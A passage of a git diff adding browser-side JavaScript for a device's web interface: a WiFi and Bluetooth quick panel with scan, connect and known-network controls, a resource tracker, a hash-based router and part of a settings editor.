'button' }, [t('common.cancel')]); + const submitBtn = el('button', { class: 'btn', type: 'submit', style: 'background:var(--acid);color:var(--ink-invert,#001014)' }, [t('common.connect')]); + btnRow.appendChild(cancelBtn); + btnRow.appendChild(submitBtn); + form.appendChild(btnRow); + modal.appendChild(form); + backdrop.appendChild(modal); + + backdrop.style.display = 'flex'; + backdrop.classList.add('show'); + + function closeDlg() { + backdrop.style.display = 'none'; + backdrop.classList.remove('show'); + empty(backdrop); + } + + cancelBtn.addEventListener('click', closeDlg); + + backdrop.addEventListener('click', (e) => { + if (e.target === backdrop) closeDlg(); + }); + + form.addEventListener('submit', (e) => { + e.preventDefault(); + const values = {}; + for (const [name, inp] of Object.entries(inputs)) values[name] = inp.value; + closeDlg(); + onSubmit(values); + }); + + // Focus first editable input + const firstInput = Object.values(inputs).find(i => !i.readOnly); + if (firstInput) requestAnimationFrame(() => firstInput.focus()); +} + +function closeSysDialog() { + const backdrop = $('#sysDialogBackdrop'); + if (!backdrop) return; + backdrop.style.display = 'none'; + backdrop.classList.remove('show'); + empty(backdrop); +} + +/* ================================================================= + WiFi — scan, connect, known networks + ================================================================= */ + +async function scanWifi() { + if (scanning.wifi) return; + scanning.wifi = true; + try { + const data = await api.get(API.scanWifi); + renderWifiResults(data); + } catch (err) { + toast(t('quick.btScanFailed') + ': ' + (err.message || t('common.unknown')), 3000, 'error'); + } finally { + scanning.wifi = false; + } +} + +function renderWifiResults(data) { + if (!wifiList) return; + empty(wifiList); + + const networks = Array.isArray(data) ? data : (data?.networks || data?.results || []); + if (!networks.length) { + wifiList.appendChild(el('div', { style: 'padding:12px;color:var(--muted);text-align:center' }, [t('common.noData')])); + return; + } + + // Sort by signal descending + networks.sort((a, b) => (b.signal ?? -100) - (a.signal ?? -100)); + + for (const net of networks) { + const ssid = net.ssid || net.SSID || '(Hidden)'; + const signal = net.signal ?? net.level ?? -80; + const sec = net.security || net.encryption || ''; + + const row = el('div', { class: 'qprow', style: 'grid-template-columns:1fr auto auto auto;align-items:center' }, [ + el('span', { style: 'font-weight:600;overflow:hidden;text-overflow:ellipsis;white-space:nowrap' }, [ssid]), + sigEl(signal), + secBadge(sec), + el('button', { class: 'btn', onclick: () => promptWifiConnect(ssid, sec), style: 'font-size:12px;padding:4px 10px' }, [t('common.connect')]), + ]); + wifiList.appendChild(row); + } +} + +function promptWifiConnect(ssid, sec) { + const isOpen = !sec || sec.toUpperCase() === 'OPEN' || sec.toUpperCase() === 'NONE' || sec === ''; + if (isOpen) { + connectWifi(ssid, ''); + return; + } + + openSysDialog(t('quick.connectWifi'), [ + { name: 'ssid', label: t('network.title'), value: ssid, readonly: true }, + { name: 'password', label: t('creds.password'), type: 'password', placeholder: t('creds.password'), autocomplete: 'current-password' }, + ], (vals) => { + connectWifi(vals.ssid, vals.password); + }); +} + +async function connectWifi(ssid, password) { + try { + toast(t('quick.connectingTo', { ssid }), 2000, 'info'); + await api.post(API.connectWifi, { ssid, password }); + toast(t('quick.connectedTo', { ssid }), 3000, 'success'); + } catch (err) { + toast(t('quick.connectionFailed') + ': ' + (err.message || t('common.unknown')), 3500, 'error'); + } +} + +/* ---------- Known networks ---------- */ + +async function loadKnownWifi() { + if (!knownList) return; + empty(knownList); + knownList.appendChild(el('div', { style: 'padding:8px;color:var(--muted);text-align:center' }, [t('common.loading')])); + + try { + const data = await api.get(API.getKnownWifi); + renderKnownNetworks(data); + } catch (err) { + empty(knownList); + toast(t('quick.loadKnownFailed') + ': ' + (err.message || t('common.unknown')), 3000, 'error'); + } +} + +function renderKnownNetworks(data) { + if (!knownList) return; + empty(knownList); + + let networks = []; + if (Array.isArray(data)) { + networks = data; + } else if (data && typeof data === 'object') { + networks = data.networks || data.known || data.data || data.results || []; + // If data is a single-key object wrapping an array, unwrap it + if (!networks.length) { + const keys = Object.keys(data); + if (keys.length === 1 && Array.isArray(data[keys[0]])) { + networks = data[keys[0]]; + } + } + } + console.debug('[QuickPanel] Known networks data:', data, '-> parsed:', networks.length, 'items'); + if (!networks.length) { + knownList.appendChild(el('div', { style: 'padding:12px;color:var(--muted);text-align:center' }, [t('common.noData')])); + return; + } + + for (let i = 0; i < networks.length; i++) { + const net = networks[i]; + const ssid = net.ssid || net.SSID || '(Unknown)'; + const priority = net.priority ?? i; + + const moveUpBtn = el('button', { class: 'btn', style: 'font-size:11px;padding:2px 6px', onclick: () => updatePriority(ssid, priority + 1), title: t('common.ascending') }, ['\u2191']); + const moveDownBtn = el('button', { class: 'btn', style: 'font-size:11px;padding:2px 6px', onclick: () => updatePriority(ssid, Math.max(0, priority - 1)), title: t('common.descending') }, ['\u2193']); + const connectBtn = el('button', { class: 'btn', style: 'font-size:12px;padding:4px 10px', onclick: () => connectKnownWifi(ssid) }, [t('common.connect')]); + const deleteBtn = el('button', { class: 'btn', style: 'font-size:12px;padding:4px 10px;color:var(--danger,#ff3b3b)', onclick: () => deleteKnown(ssid) }, [t('common.delete')]); + + const actions = el('div', { style: 'display:flex;gap:4px;align-items:center;flex-wrap:wrap' }, [moveUpBtn, moveDownBtn, connectBtn, deleteBtn]); + + const row = el('div', { class: 'qprow', style: 'grid-template-columns:1fr auto;align-items:center' }, [ + el('div', { style: 'display:flex;flex-direction:column;gap:2px;overflow:hidden' }, [ + el('span', { style: 'font-weight:600;overflow:hidden;text-overflow:ellipsis;white-space:nowrap' }, [ssid]), + el('span', { style: 'font-size:11px;color:var(--muted)' }, ['Priority: ' + priority]), + ]), + actions, + ]); + knownList.appendChild(row); + } +} + +async function connectKnownWifi(ssid) { + try { + toast(t('quick.connectingTo', { ssid }), 2000, 'info'); + await api.post(API.connectKnown, { ssid }); + toast(t('quick.connectedTo', { ssid }), 3000, 'success'); + } catch (err) { + toast(t('quick.connectionFailed') + ': ' + (err.message || t('common.unknown')), 3500, 'error'); + } +} + +async function updatePriority(ssid, priority) { + try { + await api.post(API.updatePriority, { ssid, priority }); + toast(t('quick.priorityUpdated'), 2000, 'success'); + loadKnownWifi(); // refresh list + } catch (err) { + toast(t('quick.priorityUpdateFailed') + ': ' + (err.message || t('common.unknown')), 3000, 'error'); + } +} + +async function deleteKnown(ssid) { + openSysDialog(t('common.delete'), [ + { name: 'ssid', label: t('quick.forgetNetworkPrompt'), value: ssid, readonly: true }, + ], async (vals) => { + try { + await api.post(API.deleteKnown, { ssid: vals.ssid }); + toast('Network removed', 2000, 'success'); + loadKnownWifi(); + } catch (err) { + toast('Delete failed: ' + (err.message || 'Unknown error'), 3000, 'error'); + } + }); +} + +async function importPotfiles() { + try { + toast(t('quick.importingPotfiles'), 2000, 'info'); + const res = await api.post(API.importPotfiles); + const count = res?.imported ?? res?.count ?? '?'; + toast(t('quick.importedCount', { count }), 3000, 'success'); + } catch (err) { + toast(t('studio.importFailed') + ': ' + (err.message || t('common.unknown')), 3000, 'error'); + } +} + +/* ================================================================= + Bluetooth — scan, pair, trust, connect, disconnect, forget + ================================================================= */ + +async function scanBluetooth() { + if (scanning.bt) return; + scanning.bt = true; + try { + const data = await api.get(API.scanBluetooth); + renderBtResults(data); + } catch (err) { + toast(t('quick.btScanFailed') + ': ' + (err.message || t('common.unknown')), 3000, 'error'); + } finally { + scanning.bt = false; + } +} + +function renderBtResults(data) { + if (!btList) return; + empty(btList); + + const devices = Array.isArray(data) ? data : (data?.devices || data?.results || []); + if (!devices.length) { + btList.appendChild(el('div', { style: 'padding:12px;color:var(--muted);text-align:center' }, [t('common.noData')])); + return; + } + + for (const dev of devices) { + const name = dev.name || dev.Name || '(Unknown)'; + const mac = dev.mac || dev.address || dev.MAC || ''; + const type = dev.type || dev.Type || ''; + const paired = !!(dev.paired || dev.Paired); + const connected = !!(dev.connected || dev.Connected); + + // Action buttons vary by device state + const actions = []; + + if (!paired) { + actions.push(el('button', { class: 'btn', style: 'font-size:12px;padding:4px 10px', onclick: () => btAction('pair', mac, name) }, [t('quick.pair')])); + } else { + actions.push(el('button', { class: 'btn', style: 'font-size:12px;padding:4px 10px', onclick: () => btAction('trust', mac, name) }, [t('quick.trust')])); + if (connected) { + actions.push(el('button', { class: 'btn', style: 'font-size:12px;padding:4px 10px', onclick: () => btAction('disconnect', mac, name) }, [t('common.disconnect')])); + } else { + actions.push(el('button', { class: 'btn', style: 'font-size:12px;padding:4px 10px', onclick: () => btAction('connect', mac, name) }, [t('common.connect')])); + } + actions.push(el('button', { class: 'btn', style: 'font-size:12px;padding:4px 10px;color:var(--danger,#ff3b3b)', onclick: () => btForget(mac, name) }, [t('common.remove')])); + } + + const row = el('div', { class: 'qprow btlist' }, [ + el('div', { class: 'bt-device' }, [ + stateDot(connected), + el('span', { style: 'font-weight:600' }, [name]), + el('span', { class: 'bt-type' }, [type]), + el('span', { style: 'font-size:11px;color:var(--muted)' }, [mac]), + ]), + el('div', { style: 'display:flex;gap:4px;align-items:center;flex-wrap:wrap' }, actions), + ]); + btList.appendChild(row); + } +} + +async function btAction(action, mac, name) { + const endpoints = { + pair: API.pairBluetooth, + trust: API.trustBluetooth, + connect: API.connectBluetooth, + disconnect: API.disconnectBluetooth, + }; + + const url = endpoints[action]; + if (!url) return; + + const label = action.charAt(0).toUpperCase() + action.slice(1); + + try { + toast(t('quick.btActioning', { action, name }), 2000, 'info'); + await api.post(url, { address: mac, mac }); + toast(t('quick.btActionDone', { action, name }), 3000, 'success'); + // Refresh after state change + scanBluetooth(); + } catch (err) { + toast(t('quick.btActionFailed', { action }) + ': ' + (err.message || t('common.unknown')), 3500, 'error'); + } +} + +function btForget(mac, name) { + openSysDialog(t('quick.forgetDevice'), [ + { name: 'mac', label: t('quick.forgetDevicePrompt', { name }), value: mac, readonly: true }, + ], async (vals) => { + try { + await api.post(API.forgetBluetooth, { address: vals.mac, mac: vals.mac }); + toast(t('quick.btForgotten', { name }), 2000, 'success'); + scanBluetooth(); + } catch (err) { + toast(t('common.deleteFailed') + ': ' + (err.message || t('common.unknown')), 3000, 'error'); + } + }); +} + +/* ================================================================= + Auto-scan timers + ================================================================= */ + +function startWifiAutoScan() { + stopWifiAutoScan(); + wifiAutoTimer = setInterval(() => { + if (panel && panel.classList.contains('open') && activeTab === 'wifi') scanWifi(); + }, AUTOSCAN_INTERVAL); + // Immediate first scan + scanWifi(); +} + +function stopWifiAutoScan() { + if (wifiAutoTimer) { clearInterval(wifiAutoTimer); wifiAutoTimer = null; } +} + +function startBtAutoScan() { + stopBtAutoScan(); + btAutoTimer = setInterval(() => { + if (panel && panel.classList.contains('open') && activeTab === 'bt') scanBluetooth(); + }, AUTOSCAN_INTERVAL); + scanBluetooth(); +} + +function stopBtAutoScan() { + if (btAutoTimer) { clearInterval(btAutoTimer); btAutoTimer = null; } +} + +/* ================================================================= + Tab switching + ================================================================= */ + +function switchTab(tab) { + activeTab = tab; + + if (tabBtns) { + tabBtns.forEach(btn => btn.classList.toggle('active', btn.dataset.tab === tab)); + } + + if (wifiTab) wifiTab.style.display = (tab === 'wifi') ? '' : 'none'; + if (btTab) btTab.style.display = (tab === 'bt') ? '' : 'none'; +} + +/* ================================================================= + Panel open / close / toggle + ================================================================= */ + +export function open() { + if (!panel) return; + panel.classList.add('open'); + panel.setAttribute('aria-hidden', 'false'); + + // Load known networks on open (always useful to have them) + loadKnownWifi(); + + // Start auto-scans if enabled + if (getAutoScan(LS_WIFI_AUTO)) startWifiAutoScan(); + if (getAutoScan(LS_BT_AUTO)) startBtAutoScan(); +} + +export function close() { + if (!panel) return; + panel.classList.remove('open'); + panel.setAttribute('aria-hidden', 'true'); + + // Stop auto-scans while closed to save resources + stopWifiAutoScan(); + stopBtAutoScan(); + + // Close any open system dialog + closeSysDialog(); +} + +export function toggle() { + if (!panel) return; + if (panel.classList.contains('open')) close(); + else open(); +} + +/* ================================================================= + Build panel content (init) + ================================================================= */ + +export function init() { + panel = $('#quickpanel'); + if (!panel) { + console.warn('[QuickPanel] #quickpanel not found in DOM'); + return; + } + + /* ---- Header ---- */ + const closeBtn = el('button', { class: 'qp-close', 'aria-label': t('quick.close'), onclick: close }, ['\u2715']); + const header = el('div', { class: 'qp-header', style: 'padding:20px 16px 8px' }, [ + el('div', { class: 'qp-head-left' }, [ + el('strong', { style: 'font-size:16px' }, [t('nav.shortcuts')]), + el('span', { style: 'font-size:11px;color:var(--muted)' }, [t('quick.subtitle')]), + ]), + closeBtn, + ]); + + /* ---- Tab bar ---- */ + const wifiTabBtn = el('div', { class: 'tab active', 'data-tab': 'wifi', onclick: () => switchTab('wifi') }, [t('dash.wifi')]); + const btTabBtn = el('div', { class: 'tab', 'data-tab': 'bt', onclick: () => switchTab('bt') }, [t('dash.bluetooth')]); + tabBtns = [wifiTabBtn, btTabBtn]; + + const tabBar = el('div', { class: 'tabs-container', style: 'margin:0 16px 12px' }, [wifiTabBtn, btTabBtn]); + + /* ---- WiFi tab content ---- */ + wifiList = el('div', { class: 'wifilist', style: 'max-height:40vh;overflow-y:auto;padding:0 16px' }); + knownList = el('div', { class: 'knownlist', style: 'max-height:30vh;overflow-y:auto;padding:0 16px' }); + + const wifiScanBtn = el('button', { class: 'btn', style: 'font-size:13px', onclick: scanWifi }, [t('common.refresh')]); + const knownBtn = el('button', { class: 'btn', style: 'font-size:13px', onclick: loadKnownWifi }, [t('quick.knownNetworks')]); + const potfileBtn = el('button', { class: 'btn', style: 'font-size:13px', onclick: importPotfiles }, [t('quick.importPotfiles')]); + + const wifiAutoCtrl = autoScanToggle(LS_WIFI_AUTO, (on) => { + if (on && panel.classList.contains('open')) startWifiAutoScan(); + else stopWifiAutoScan(); + }); + + const wifiToolbar = el('div', { style: 'display:flex;gap:8px;align-items:center;flex-wrap:wrap;padding:0 16px 8px' }, [ + wifiScanBtn, knownBtn, potfileBtn, + el('span', { style: 'flex:1' }), + wifiAutoCtrl.wrap, + ]); + + const knownHeader = el('div', { style: 'padding:8px 16px 4px;font-weight:700;font-size:13px;color:var(--muted)' }, [t('quick.knownNetworks')]); + + wifiTab = el('div', { 'data-panel': 'wifi' }, [wifiToolbar, wifiList, knownHeader, knownList]); + + /* ---- Bluetooth tab content ---- */ + btList = el('div', { class: 'btlist', style: 'max-height:50vh;overflow-y:auto;padding:0 16px' }); + + const btScanBtn = el('button', { class: 'btn', style: 'font-size:13px', onclick: scanBluetooth }, [t('common.refresh')]); + + const btAutoCtrl = autoScanToggle(LS_BT_AUTO, (on) => { + if (on && panel.classList.contains('open')) startBtAutoScan(); + else stopBtAutoScan(); + }); + + const btToolbar = el('div', { style: 'display:flex;gap:8px;align-items:center;flex-wrap:wrap;padding:0 16px 8px' }, [ + btScanBtn, + el('span', { style: 'flex:1' }), + btAutoCtrl.wrap, + ]); + + btTab = el('div', { 'data-panel': 'bt', style: 'display:none' }, [btToolbar, btList]); + + /* ---- Assemble into panel (after the grip) ---- */ + panel.appendChild(header); + panel.appendChild(tabBar); + panel.appendChild(wifiTab); + panel.appendChild(btTab); + + /* ---- Global keyboard shortcuts ---- */ + document.addEventListener('keydown', onKeyDown); + + /* ---- Click outside to close ---- */ + document.addEventListener('pointerdown', onOutsideClick); + + /* ---- Wire topbar trigger button ---- */ + const openBtn = $('#openQuick'); + if (openBtn) openBtn.addEventListener('click', toggle); +} + +/* ================================================================= + Event handlers + ================================================================= */ + +function onKeyDown(e) { + // Ctrl+\ to toggle + if (e.ctrlKey && e.key === '\\') { + e.preventDefault(); + toggle(); + return; + } + // Escape to close + if (e.key === 'Escape' && panel && panel.classList.contains('open')) { + // If a system dialog is open, close that first + const dlg = $('#sysDialogBackdrop'); + if (dlg && (dlg.style.display === 'flex' || dlg.classList.contains('show'))) { + closeSysDialog(); + return; + } + close(); + } +} + +function onOutsideClick(e) { + if (!panel || !panel.classList.contains('open')) return; + // Ignore clicks inside the panel itself + if (panel.contains(e.target)) return; + // Ignore clicks on the trigger button + const openBtn = $('#openQuick'); + if (openBtn && openBtn.contains(e.target)) return; + // Ignore clicks on the system dialog backdrop + const dlg = $('#sysDialogBackdrop'); + if (dlg && dlg.contains(e.target)) return; + close(); +} diff --git a/web/js/core/resource-tracker.js b/web/js/core/resource-tracker.js new file mode 100644 index 0000000..9a5dc9d --- /dev/null +++ b/web/js/core/resource-tracker.js @@ -0,0 +1,103 @@ +/** + * ResourceTracker — tracks intervals, timeouts, listeners, AbortControllers. + * Each page module gets one tracker; calling cleanupAll() on unmount + * guarantees zero leaked resources. + */ +export class ResourceTracker { + constructor(label = 'anon') { + this._label = label; + this._intervals = new Set(); + this._timeouts = new Set(); + this._listeners = []; // {target, event, handler, options} + this._abortControllers = new Set(); + } + + /* -- Intervals -- */ + trackInterval(fn, ms) { + const id = setInterval(fn, ms); + this._intervals.add(id); + return id; + } + + clearTrackedInterval(id) { + clearInterval(id); + this._intervals.delete(id); + } + + /* -- Timeouts -- */ + trackTimeout(fn, ms) { + const id = setTimeout(() => { + this._timeouts.delete(id); + fn(); + }, ms); + this._timeouts.add(id); + return id; + } + + clearTrackedTimeout(id) { + clearTimeout(id); + this._timeouts.delete(id); + } + + /* -- Event listeners -- */ + trackEventListener(target, event, handler, options) { + target.addEventListener(event, handler, options); + this._listeners.push({ target, event, handler, options }); + } + + /* -- AbortControllers (for fetch) -- */ + trackAbortController() { + const ac = new AbortController(); + this._abortControllers.add(ac); + return ac; + } + + removeAbortController(ac) { + this._abortControllers.delete(ac); + } + + /* -- Cleanup everything -- */ + cleanupAll() { + // Intervals + for (const id of this._intervals) clearInterval(id); + this._intervals.clear(); + + // Timeouts + for (const id of this._timeouts) clearTimeout(id); + this._timeouts.clear(); + + // Listeners & Generic cleanups + for (const item of this._listeners) { + if (item.cleanup) { + try { item.cleanup(); } catch (err) { console.warn(`[ResourceTracker:${this._label}] cleanup error`, err); } + } else if (item.target) { + item.target.removeEventListener(item.event, item.handler, item.options); + } + } + this._listeners.length = 0; + + // Abort controllers + for (const ac of this._abortControllers) { + try { ac.abort(); } catch { /* already aborted */ } + } + this._abortControllers.clear(); + } + + /* -- Generic resources -- */ + trackResource(fn) { + if (typeof fn === 'function') { + this._listeners.push({ cleanup: fn }); + } + } + + /* -- Diagnostics -- */ + stats() { + return { + label: this._label, + intervals: this._intervals.size, + timeouts: this._timeouts.size, + listeners: this._listeners.length, + abortControllers: this._abortControllers.size + }; + } +} diff --git a/web/js/core/router.js b/web/js/core/router.js new file mode 100644 index 0000000..9124cb9 --- /dev/null +++ b/web/js/core/router.js @@ -0,0 +1,134 @@ +/** + * Hash-based SPA router. + * Routes map to lazy-loaded page modules (ES modules with mount/unmount). + * + * Each page module must export: + * mount(container, ctx): void | Promise + * unmount(): void + * onRouteParams?(params): void [optional] + * + * The router guarantees unmount() is called before switching pages. + */ + +import { updateDOM as updateI18n, t } from './i18n.js'; + +/** @type {Map Promise<{mount, unmount, onRouteParams?}>>} */ +const _routes = new Map(); +let _currentModule = null; +let _currentRoute = null; +let _container = null; +let _notFoundHandler = null; + +/** + * Register a route. + * @param {string} path - hash path without '#', e.g. '/dashboard' + * @param {Function} loader - async function returning the module, e.g. () => import('../pages/dashboard.js') + */ +export function route(path, loader) { + _routes.set(path, loader); +} + +/** + * Set a fallback handler for unknown routes. + * @param {Function} handler - (container, hash) => void + */ +export function setNotFound(handler) { + _notFoundHandler = handler; +} + +/** + * Initialize the router. + * @param {HTMLElement} container - the element to mount pages into (e.g. #app) + */ +export function init(container) { + _container = container; + window.addEventListener('hashchange', () => _resolve()); + // Initial route + _resolve(); +} + +/** + * Force remount of the current route (used for i18n/theme refresh). + */ +export function reloadCurrent() { + _resolve(true); +} + +/** + * Programmatic navigation. + * @param {string} path - e.g. '/dashboard' + */ +export function navigate(path) { + window.location.hash = '#' + path; +} + +/** + * Get current route path. + */ +export function currentRoute() { + return _currentRoute; +} + +/* -- Internal -- */ + +async function _resolve(force = false) { + const hash = window.location.hash.slice(1) || '/dashboard'; // default + const [path, queryStr] = hash.split('?'); + const params = Object.fromEntries(new URLSearchParams(queryStr || '')); + + // If same route, just update params + if (!force && path === _currentRoute && _currentModule?.onRouteParams) { + _currentModule.onRouteParams(params); + return; + } + + // Unmount previous + if (_currentModule) { + try { + _currentModule.unmount(); + } catch (err) { + console.error(`[Router] Error unmounting ${_currentRoute}:`, err); + } + _currentModule = null; + } + + // Clear container + _container.innerHTML = ''; + _currentRoute = path; + + // Find matching route + const loader = _routes.get(path); + if (!loader) { + if (_notFoundHandler) { + _notFoundHandler(_container, path); + } else { + _container.textContent = t('router.notFound', { path }); + } + return; + } + + // Loading indicator + _container.setAttribute('aria-busy', 'true'); + + try { + const mod = await loader(); + _currentModule = mod; + + // Mount the page + await mod.mount(_container, { params, navigate }); + + // Update i18n labels in the newly mounted content + updateI18n(_container); + + // Pass route params if handler exists + if (mod.onRouteParams) { + mod.onRouteParams(params); + } + + } catch (err) { + console.error(`[Router] Error loading ${path}:`, err); + _container.textContent = t('router.errorLoading', { message: err.message }); + } finally { + _container.removeAttribute('aria-busy'); + } +} diff --git a/web/js/core/settings-config.js b/web/js/core/settings-config.js new file mode 100644 index 0000000..0e10d49 --- /dev/null +++ b/web/js/core/settings-config.js @@ -0,0 +1,376 @@ +import { $, el, toast, empty } from './dom.js'; +import { api } from './api.js'; +import { t } from './i18n.js'; + +const API = { + load: '/load_config', + save: '/save_config', + restore: '/restore_default_config', +}; + +const DEFAULT_RANGE = { min: 0, max: 100, step: 1 }; +const RANGES = { + web_delay: { min: 0, max: 10000, step: 1 }, + screen_delay: { min: 0, max: 10, step: 0.1 }, + startup_delay: { min: 0, max: 600, step: 0.1 }, + startup_splash_duration: { min: 0, max: 60, step: 0.1 }, + fullrefresh_delay: { min: 0, max: 3600, step: 1 }, + image_display_delaymin: { min: 0, max: 600, step: 0.1 }, + image_display_delaymax: { min: 0, max: 600, step: 0.1 }, + comment_delaymin: { min: 0, max: 600, step: 0.1 }, + comment_delaymax: { min: 0, max: 600, step: 0.1 }, + shared_update_interval: { min: 1, max: 86400, step: 1 }, + livestatus_delay: { min: 0, max: 600, step: 0.1 }, + ref_width: { min: 32, max: 1024, step: 1 }, + ref_height: { min: 32, max: 1024, step: 1 }, + vuln_max_ports: { min: 1, max: 65535, step: 1 }, + portstart: { min: 0, max: 65535, step: 1 }, + portend: { min: 0, max: 65535, step: 1 }, + frise_default_x: { min: 0, max: 2000, step: 1 }, + frise_default_y: { min: 0, max: 2000, step: 1 }, + frise_epd2in7_x: { min: 0, max: 2000, step: 1 }, + frise_epd2in7_y: { min: 0, max: 2000, step: 1 }, + semaphore_slots: { min: 1, max: 128, step: 1 }, + line_spacing: { min: 0, max: 10, step: 0.1 }, + vuln_update_interval: { min: 1, max: 86400, step: 1 }, +}; + +let _host = null; +let _lastConfig = null; + +function resolveTooltips(config) { + const tips = config?.__tooltips_i18n__; + if (!tips || typeof tips !== 'object' || Array.isArray(tips)) return {}; + return tips; +} + +function createFieldLabel(key, forId = null, tooltipI18nKey = '') { + const attrs = {}; + if (forId) attrs.for = forId; + if (tooltipI18nKey) { + attrs['data-i18n-title'] = tooltipI18nKey; + attrs.title = t(tooltipI18nKey); + } + return el('label', attrs, [key]); +} + +function getRangeForKey(key, value) { + if (RANGES[key]) return RANGES[key]; + const n = Number(value); + if (Number.isFinite(n)) { + if (n <= 10) return { min: 0, max: 10, step: 1 }; + if (n <= 100) return { min: 0, max: 100, step: 1 }; + if (n <= 1000) return { min: 0, max: 1000, step: 1 }; + return { min: 0, max: Math.ceil(n * 2), step: Math.max(1, Math.round(n / 100)) }; + } + return DEFAULT_RANGE; +} + +function normalizeNumber(raw) { + const s = String(raw ?? '').trim().replace(',', '.'); + if (!s || s === '-' || s === '.' || s === '-.') return NaN; + const n = parseFloat(s); + return Number.isFinite(n) ? n : NaN; +} + +function ensureChipHelpers() { + if (window.Chips) return; + const makeChip = (text) => { + const chip = el('div', { class: 'cfg-chip' }, [ + el('span', {}, [text]), + el('button', { class: 'cfg-chip-close', type: 'button', 'aria-label': 'Remove' }, ['x']), + ]); + return chip; + }; + + document.addEventListener('click', (e) => { + const close = e.target.closest('.cfg-chip-close'); + if (close) close.closest('.cfg-chip')?.remove(); + }); + + document.addEventListener('keydown', async (e) => { + if (!e.target || !(e.target instanceof HTMLInputElement)) return; + const input = e.target; + const wrap = input.closest('.cfg-chip-input'); + if (!wrap) return; + if (e.key !== 'Enter' && e.key !== ',') return; + e.preventDefault(); + + const list = wrap.parentElement.querySelector('.cfg-chip-list'); + if (!list) return; + const values = input.value + .split(',') + .map(v => v.trim()) + .filter(Boolean); + if (!values.length) return; + const existing = new Set(Array.from(list.querySelectorAll('.cfg-chip span')).map(s => s.textContent)); + values.forEach(v => { + if (existing.has(v)) return; + list.appendChild(makeChip(v)); + }); + input.value = ''; + }); + + document.addEventListener('click', async (e) => { + const chip = e.target.closest('.cfg-chip'); + if (!chip || e.target.closest('.cfg-chip-close')) return; + if (!window.ChipsEditor) return; + + const span = chip.querySelector('span'); + const cur = span?.textContent || ''; + const next = await window.ChipsEditor.open({ + value: cur, + title: t('settings.editValue'), + label: t('common.value'), + multiline: false, + }); + if (next === null) return; + const val = String(next).trim(); + if (!val) { + chip.remove(); + return; + } + const list = chip.parentElement; + const exists = Array.from(list.querySelectorAll('.cfg-chip span')).some(s => s !== span && s.textContent === val); + if (exists) return; + if (span) span.textContent = val; + }); + + window.Chips = { + values(root) { + return Array.from(root.querySelectorAll('.cfg-chip span')).map(s => s.textContent); + }, + setValues(root, values = []) { + empty(root); + values.forEach(v => root.appendChild(makeChip(String(v)))); + }, + }; +} + +function createBooleanField(key, value, tooltipI18nKey = '') { + return el('div', { class: 'cfg-field cfg-toggle-row', 'data-key': key, 'data-type': 'boolean' }, [ + createFieldLabel(key, `cfg_${key}`, tooltipI18nKey), + el('label', { class: 'switch' }, [ + el('input', { id: `cfg_${key}`, type: 'checkbox', ...(value ? { checked: '' } : {}) }), + el('span', { class: 'slider' }), + ]), + ]); +} + +function createNumberField(key, value, tooltipI18nKey = '') { + const range = getRangeForKey(key, value); + const n = Number.isFinite(Number(value)) ? Number(value) : range.min; + const row = el('div', { class: 'cfg-field', 'data-key': key, 'data-type': 'number' }, [ + createFieldLabel(key, `cfg_${key}`, tooltipI18nKey), + el('div', { class: 'cfg-number' }, [ + el('button', { class: 'btn cfg-nudge', type: 'button', 'data-act': 'dec' }, ['-']), + el('input', { + id: `cfg_${key}`, + class: 'input cfg-number-input', + type: 'text', + inputmode: 'decimal', + value: String(n).replace('.', ','), + }), + el('button', { class: 'btn cfg-nudge', type: 'button', 'data-act': 'inc' }, ['+']), + ]), + el('input', { + class: 'cfg-range', + type: 'range', + min: String(range.min), + max: String(range.max), + step: String(range.step), + value: String(Math.min(range.max, Math.max(range.min, n))), + }), + ]); + + const textInput = row.querySelector('.cfg-number-input'); + const slider = row.querySelector('.cfg-range'); + const decBtn = row.querySelector('[data-act="dec"]'); + const incBtn = row.querySelector('[data-act="inc"]'); + + const clamp = (v) => Math.max(range.min, Math.min(range.max, v)); + const paint = () => { + const cur = Number(slider.value); + const pct = ((cur - range.min) * 100) / (range.max - range.min || 1); + slider.style.backgroundSize = `${pct}% 100%`; + }; + const syncFromText = () => { + const parsed = normalizeNumber(textInput.value); + if (Number.isFinite(parsed)) { + slider.value = String(clamp(parsed)); + paint(); + } + }; + const syncFromRange = () => { + textInput.value = String(slider.value).replace('.', ','); + paint(); + }; + const nudge = (dir) => { + const parsed = normalizeNumber(textInput.value); + const base = Number.isFinite(parsed) ? parsed : Number(slider.value); + const next = +(base + dir * range.step).toFixed(10); + textInput.value = String(next).replace('.', ','); + slider.value = String(clamp(next)); + paint(); + }; + + textInput.addEventListener('input', syncFromText); + textInput.addEventListener('change', syncFromText); + slider.addEventListener('input', syncFromRange); + decBtn.addEventListener('click', () => nudge(-1)); + incBtn.addEventListener('click', () => nudge(1)); + paint(); + + return row; +} + +function createListField(key, value, tooltipI18nKey = '') { + const list = Array.isArray(value) ? value : []; + const node = el('div', { class: 'cfg-field', 'data-key': key, 'data-type': 'list' }, [ + createFieldLabel(key, null, tooltipI18nKey), + el('div', { class: 'cfg-chip-list' }), + el('div', { class: 'cfg-chip-input' }, [ + el('input', { class: 'input', type: 'text', placeholder: t('settings.addValues') }), + ]), + ]); + const chipList = node.querySelector('.cfg-chip-list'); + window.Chips.setValues(chipList, list); + return node; +} + +function createStringField(key, value, tooltipI18nKey = '') { + const node = el('div', { class: 'cfg-field', 'data-key': key, 'data-type': 'string' }, [ + createFieldLabel(key, null, tooltipI18nKey), + el('div', { class: 'cfg-chip-list' }), + el('div', { class: 'cfg-chip-input' }, [ + el('input', { class: 'input', type: 'text', placeholder: t('settings.setValue') }), + ]), + ]); + const chipList = node.querySelector('.cfg-chip-list'); + if (value !== undefined && value !== null && String(value) !== '') { + window.Chips.setValues(chipList, [String(value)]); + } + return node; +} + +function createSectionCard(title) { + return el('div', { class: 'card cfg-card' }, [ + el('div', { class: 'head' }, [el('h3', { class: 'title' }, [title])]), + el('div', { class: 'cfg-card-body' }), + ]); +} + +function render(config) { + if (!_host) return; + empty(_host); + ensureChipHelpers(); + const tooltips = resolveTooltips(config); + + const togglesCard = createSectionCard(t('settings.toggles')); + const togglesBody = togglesCard.querySelector('.cfg-card-body'); + const cardsGrid = el('div', { class: 'cfg-cards-grid' }); + + let currentCard = null; + for (const [key, value] of Object.entries(config || {})) { + if (key.startsWith('__')) { + if (key.startsWith('__title_')) { + if (currentCard) cardsGrid.appendChild(currentCard); + currentCard = createSectionCard(String(value).replace('__title_', '').replace(/__/g, '')); + } + continue; + } + + const tooltipI18nKey = String(tooltips[key] || ''); + if (typeof value === 'boolean') { + togglesBody.appendChild(createBooleanField(key, value, tooltipI18nKey)); + continue; + } + if (!currentCard) currentCard = createSectionCard(t('settings.general')); + const body = 